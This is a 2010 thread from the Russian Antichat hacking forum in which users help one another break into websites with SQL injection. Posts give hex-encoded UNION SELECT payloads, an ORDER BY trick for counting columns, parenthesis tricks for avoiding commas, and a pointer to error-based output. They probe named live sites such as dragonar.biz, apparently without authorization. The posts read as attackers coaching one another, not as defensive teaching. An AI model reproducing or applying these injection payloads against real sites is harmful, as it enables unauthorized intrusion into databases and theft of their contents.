Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
12.05.2010, 09:39
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 11
Провел на форуме:
51296
Репутация:
0
|
|
Сообщение от Ctacok
Ааа вот оно что, попробуй значит.
1234') union select 0x756e696f6e2073656c65637420312c322c332c342c352c36 2c372c38 .... %23
Это вроде помогает, хотя еще не понятно. но теперь хотя бы на количество столбцов ругается, а не на синтаксис. Возможно просто считает это одним столбцом.
Объясни пожалуйста что это за строка такая, и как её самому собирать.
А база похоже PostgreSQL....
|
|
|
12.05.2010, 09:43
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от zuzzz
Это вроде помогает, хотя еще не понятно. но теперь хотя бы на количество столбцов ругается, а не на синтаксис. Возможно просто считает это одним столбцом.
Объясни пожалуйста что это за строка такая, и как её самому собирать.
А база похоже PostgreSQL....
http://ctacok.ru/he.php?c=union%20select%201,2,3,4,5,6,7,8
http://ctacok.ru/he.php?c=order%20by%201,2,3,4,5,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29, 30
Вбиваешь:
0x6f7264657220627920312c322c332c342c352c362c372c38 2c392c31302c31312c31322c31332c31342c31352c31362c31 372c31382c31392c32302c32312c32322c32332c32342c3235 2c32362c32372c32382c32392c333
Какая ошибка вылезет, отнимаешь один, и вот тебе кол-во столбцов.
Ex:
если ошибка с числом 25, то колонок 24 
Ну ты понел чо дальше делать
|
|
|
|
12.05.2010, 12:10
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 11
Провел на форуме:
51296
Репутация:
0
|
|
Сообщение от Ctacok
Ааа вот оно что, попробуй значит.
1234') union select 0x756e696f6e2073656c65637420312c322c332c342c352c36 2c372c38 .... %23
вобщем так тоже не прокатывает. База воспринимает эту строку значение одного столбца. Может быть конечно я что то не то делаю...
Столбцов там 3, вычислил с помощью order by. (order by 3 - так работает, а так order by 4 уже нет )
Как же мне запятые спрятать?
|
|
|
|
12.05.2010, 12:39
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от zuzzz
вобщем так тоже не прокатывает. База воспринимает эту строку значение одного столбца. Может быть конечно я что то не то делаю...
Столбцов там 3, вычислил с помощью order by. (order by 3 - так работает, а так order by 4 уже нет )
Как же мне запятые спрятать?
только скобки попробуй заюзать. Не могу найти статью об этом.
Но там что-то типа script.php?id=N(union)(select)(1)(2)
Если не прав поправьте
вот
https://forum.antichat.ru/threadnav125796-2-10.html
конкретно, https://forum.antichat.ru/showpost.php?p=1734851&postcount=13
Последний раз редактировалось попугай; 12.05.2010 в 12:50..
|
|
|
|
12.05.2010, 12:50
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от попугай
только скобки попробуй заюзать. Не могу найти статью об этом.
Но там что-то типа script.php?id=N(union)(select)(1)(2)
Если не прав поправьте
Да да так идёт.
Кстате ехал в автобусе вспомнил про вывод через ошибку.
Пробуй через вывод ошибок. Правдо каждый раз хексить ...
|
|
|
|
12.05.2010, 14:39
|
|
Познающий
Регистрация: 29.08.2009
Сообщений: 75
Провел на форуме:
315861
Репутация:
5
|
|
Выручайте. крутил вертел - этот кубик рубик не собрал
http:// dragonar. biz/ news.php?pg=1
Может кто разрулит php или sql - отпишитесь по результатам.
|
|
|
|
12.05.2010, 14:47
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от EoGeneo
Выручайте. крутил вертел - этот кубик рубик не собрал
http:// dragonar. biz/ news.php?pg=1
Может кто разрулит php или sql - отпишитесь по результатам.
http://dragonar.biz/news.php?pg=-123
Страница(- 123):1
http://dragonar.biz/news.php?pg=-23abcd
Страница(-23):1
=> intval ()
Сообщение от EoGeneo
Я так понял ничего не выйдет.  Да
Последний раз редактировалось Ctacok; 12.05.2010 в 14:55..
Причина: А твоя ошибка, тупо из-за того лимит не может выходить в минус :)
|
|
|
|
12.05.2010, 14:55
|
|
Познающий
Регистрация: 29.08.2009
Сообщений: 75
Провел на форуме:
315861
Репутация:
5
|
|
Сообщение от Ctacok
http://dragonar.biz/news.php?pg=-123
Страница(-123):1
http://dragonar.biz/news.php?pg=-23abcd
Страница(-23):1
=> intval ()
Я так понял ничего не выйдет.
|
|
|
|
12.05.2010, 15:02
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 11
Провел на форуме:
51296
Репутация:
0
|
|
Сообщение от Ctacok
Да да так идёт.
Кстате ехал в автобусе вспомнил про вывод через ошибку.
Пробуй через вывод ошибок. Правдо каждый раз хексить ... нет со скобками не получилось.
Я так понял union без запятых не сделать. Эта задачка мне не под силу. (((( Спасибо за содействие, но я сдаюсь
А что за метод через вывод ошибок? Бегло поискал описание, но не нашел.
|
|
|
|
12.05.2010, 15:03
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от zuzzz
нет со скобками не получилось.
Я так понял union без запятых не сделать. Эта задачка мне не под силу. (((( Спасибо за содействие, но я сдаюсь
А что за метод через вывод ошибок? Бегло поискал описание, но не нашел.
https://forum.antichat.ru/showpost.php?p=1796647&postcount=20
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
